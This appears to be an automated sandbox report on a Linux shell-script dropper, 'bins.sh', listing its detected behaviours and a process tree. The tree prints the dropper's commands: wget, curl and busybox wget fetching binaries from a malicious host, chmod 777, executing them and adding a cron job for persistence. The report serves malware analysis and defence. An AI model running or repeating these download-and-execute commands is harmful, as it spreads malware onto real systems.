Analysis
- max time kernel
106s - max time network
151s - platform
debian-9_armhf - resource
debian9-armhf-20240729-en - resource tags
- submitted
09/02/2025, 04:31
General
- Target bins.sh
- Size 10KB
- Sample250209-e5kfyswrfr
- SHA256 89d4b34ff293a5233b00b7e25af871fde898ec3dc2b8aacf6f32f948387d50d6
Malware Config
Signatures
- Contacts a large (1484) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Renames itself 1 IoCs
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates running processes
Discovers information about currently running processes on the system
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf82⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf82⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf82⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod 777 XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf82⤵
- File and Directory Permissions Modification
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/tmp/XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8./XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf82⤵
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf82⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO2⤵
- System Network Configuration Discovery
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
tmp.538DZP